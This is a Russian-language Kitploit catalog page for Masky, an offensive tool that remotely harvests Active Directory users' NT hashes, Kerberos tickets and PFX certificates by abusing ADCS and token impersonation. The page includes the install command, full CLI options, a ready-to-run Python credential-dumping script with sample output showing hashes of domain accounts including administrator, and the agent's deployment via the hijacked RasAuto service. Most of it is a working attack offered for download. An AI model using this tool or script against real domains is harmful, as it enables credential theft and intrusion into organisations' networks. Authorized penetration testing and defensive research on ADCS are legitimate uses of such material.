Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Masky — Python-библиотека с CLI, позволяющая удаленно сбрасывать учетные данные пользователей домена через ADCS без сброса памяти процесса LSASS | Kitploit
Инструменты/GitHubGitHub/z4ksec/masky
ЭксплуатацияТестирование на ПроникновениеАутентификация
GitHubz4ksec/masky

Masky

Python-библиотека с CLI, позволяющая удаленно сбрасывать учетные данные пользователей домена через ADCS без сброса памяти процесса LSASS

Репозиторий
4044111 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Masky

PyPI version Twitter

Masky — это библиотека Python, предоставляющая альтернативный способ удалённого извлечения учётных данных пользователей домена с помощью ADCS. На её основе был построен инструмент командной строки, позволяющий легко собирать PFX, NT-хеши и TGT в более широком масштабе.

Этот инструмент не эксплуатирует никаких новых уязвимостей и не работает путём дампа памяти процесса LSASS. Вместо этого он использует только легитимные функции Windows и Active Directory (имитация токенов, аутентификация по сертификатам через Kerberos и извлечение NT-хешей через PKINIT). Статья в блоге была опубликована для подробного описания реализованных методов и принципов работы Masky.

Исходный код Masky во многом основан на замечательных инструментах Certify и Certipy. Я искренне благодарю их авторов за исследования в области оффенсивных техник против ADCS (см. раздел «Благодарности»).

Установка

Библиотека Masky для Python3 и связанный с ней CLI могут быть просто установлены через публичный репозиторий PyPi следующим образом:

root@kitploit:~
pip install masky

Исполняемый файл агента Masky уже включён в пакет PyPi.

Кроме того, если вам необходимо изменить агента, код на C# можно перекомпилировать с помощью проекта Visual Studio, расположенного в agent/Masky.sln. Для сборки потребуется .NET Framework 4.

Использование

Masky спроектирован как библиотека Python. Кроме того, поверх неё был создан интерфейс командной строки, чтобы упростить её использование во время пентеста или RedTeam-активностей.

В обоих случаях вам сначала нужно получить FQDN CA-сервера и его CA-имя, развёрнутого через ADCS. Эту информацию легко получить с помощью опции certipy find или встроенной утилиты Microsoft certutil.exe. Убедитесь, что шаблон User по умолчанию включён на целевой CA.

Предупреждение: Masky развёртывает исполняемый файл на каждой цели через модификацию существующей службы RasAuto. Несмотря на автоматический откат исходного значения ImagePath, непредвиденная ошибка во время работы Masky может пропустить фазу очистки. Поэтому не забудьте вручную сбросить исходное значение в случае такого нежелательного останова.

Командная строка

Следующая демонстрация показывает базовое использование Masky при атаке на 4 удалённые системы. Её выполнение позволяет собрать NT-хеши, CCACHE и PFX для 3 разных пользователей домена из тестового домена sec.lab.

Демо CLI Masky

Masky также предоставляет опции, которые обычно встречаются в подобных инструментах (количество потоков, режим аутентификации, цели из файлов и т.д.).

root@kitploit:~
  __  __           _
 |  \/  | __ _ ___| | ___   _
 | |\/| |/ _` / __| |/ / | | |
 | |  | | (_| \__ \   <| |_| |
 |_|  |_|\__,_|___/_|\_\__,  |
  v0.0.3                 |___/

usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
             [targets ...]

positional arguments:
  targets               Targets in CIDR, hostname and IP formats are accepted, from a file or not

options:
  -h, --help            show this help message and exit
  -v, --verbose         Enable debugging messages
  -ts, --timestamps     Display timestamps for each log
  -t THREADS, --threads THREADS
                        Threadpool size (max 15)

Authentication:
  -d DOMAIN, --domain DOMAIN
                        Domain name to authenticate to
  -u USER, --user USER  Username to authenticate with
  -p PASSWORD, --password PASSWORD
                        Password to authenticate with
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
  -H HASHES, --hashes HASHES
                        Hashes to authenticate with (LM:NT, :NT or :LM)

Connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
                        Certificate Authority Name (SERVER\CA_NAME)

Results:
  -nh, --no-hash        Do not request NT hashes
  -nt, --no-ccache      Do not save ccache files
  -np, --no-pfx         Do not save pfx files
  -o OUTPUT, --output OUTPUT
                        Local path to a folder where Masky results will be stored (automatically creates the folder if it does not exit)

Библиотека Python

Ниже приведён простой скрипт, использующий библиотеку Masky для сбора секретов активных сессий пользователей домена с удалённой цели.

root@kitploit:~
from masky import Masky
from getpass import getpass


def dump_nt_hashes():
    # Define the authentication parameters
    ca = "srv-01.sec.lab\sec-SRV-01-CA"
    dc_ip = "192.168.23.148"
    domain = "sec.lab"
    user = "askywalker"
    password = getpass()

    # Create a Masky instance with these credentials
    m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)

    # Set a target and run Masky against it
    target = "192.168.23.130"
    rslts = m.run(target)

    # Check if Masky succesfully hijacked at least a user session
    # or if an unexpected error occured
    if not rslts:
        return False

    # Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
    print(f"Results from hostname: {rslts.hostname}")
    for user in rslts.users:
        print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")

    return True


if __name__ == "__main__":
    dump_nt_hashes()

Его выполнение генерирует следующий вывод.

root@kitploit:~
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
         - sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
         - sec\askywalker - 8928e0723012a8471c0084149c4e23b1
         - sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a

Объект MaskyResults, содержащий список объектов User, возвращается после успешного выполнения Masky.

Пожалуйста, посмотрите модуль masky\lib\results.py, чтобы узнать методы и атрибуты, предоставляемые этими двумя классами.

Автономный агент Masky

Начиная с версии Masky 0.0.5, автономный исполняемый агент теперь можно легко запускать без Python CLI.

Вот аргументы:

root@kitploit:~
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)

Параметр /ca обязателен, как и для Python CLI. Кроме того, был добавлен аргумент /currentUser, чтобы избежать имитации токенов. Вместо этого будет выполнен простой запрос сертификата в контексте текущего пользователя на основе предоставленного шаблона (template). Параметры /output и /debug позволяют указать путь, по которому будут созданы файлы.

Значения по умолчанию следующие:

  • currentUser: false (т.е. имитация включена);
  • template: User;
  • output: ./Masky_results.txt
  • debug: ./Masky_debug.txt

Демо автономного агента Masky

Благодарности

  • Olivier Lyak за инструмент Certipy и соответствующие статьи
  • Will Schroeder и Lee Christensen за инструмент Certify и статью Certified Pre-Owned
  • Dirk-jan за PKINITtools и статью ADCS NTLM relay
  • SecureAuthCorp и соответствующим участникам за библиотеку Impacket
  • Pixis за инструмент Lsassy
  • Инструмент Incognito и его реализация в Metasploit
  • S3cur3Th1sSh1t за инструмент SharpImpersonation и соответствующую статью
  • McAfee за статью о техниках имитации токенов
Скачать инструмент